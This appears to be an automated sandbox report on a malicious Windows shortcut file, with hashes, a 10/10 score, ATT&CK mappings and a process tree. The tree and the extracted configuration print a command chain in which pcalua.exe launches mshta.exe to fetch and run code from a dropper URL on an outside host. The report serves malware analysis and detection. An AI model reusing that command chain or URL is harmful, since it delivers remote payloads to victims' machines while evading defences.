7c7cbe6f471c557a5f12123f61c5de7fbbab5976ca9ed576a2809228f33329b4

Analysis

max time kernel
148s
max time network
137s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:19

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General

Target
App_AlvesBuffet--EZIT61.lnk
Size 1KB
Sample260804-j734asvdna
SHA256 7c7cbe6f471c557a5f12123f61c5de7fbbab5976ca9ed576a2809228f33329b4
MD5 9f1006d4b5499acaf53e6386661dee26
SHA1 d37f3d64320e50452646ac63f4993e24754e208f
SHA512 bd71f6c3533b492a94a8bc4c6c15468ecf14d0b97fc9eda0d74bf52870baec4907c05054f0076a9e61549f3726f21a2c610d5d65bdbf1b4120a9185c51fab684
TLSH
T1AB3126103EF90664F3B79E768177AB1489BFB856CE11871E408046885463A05E57AFB3
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://buffet.nfiscais.com/h/estagio1.php?r=391C7CE85D88

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4660	mshta.exe
6	4660	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1236	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1236 wrote to memory of 4832	1236	cmd.exe	89
PID 4832 wrote to memory of 4660	4832	pcalua.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\App_AlvesBuffet--EZIT61.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1236
- C:\WINDOWS\system32\pcalua.exe
  "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://buffet.nfiscais.com/h/estagio1.php?r=391C7CE85D88"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "https://buffet.nfiscais.com/h/estagio1.php?r=391C7CE85D88"
    3⤵
    - Badlisted process makes network request
    PID:4660

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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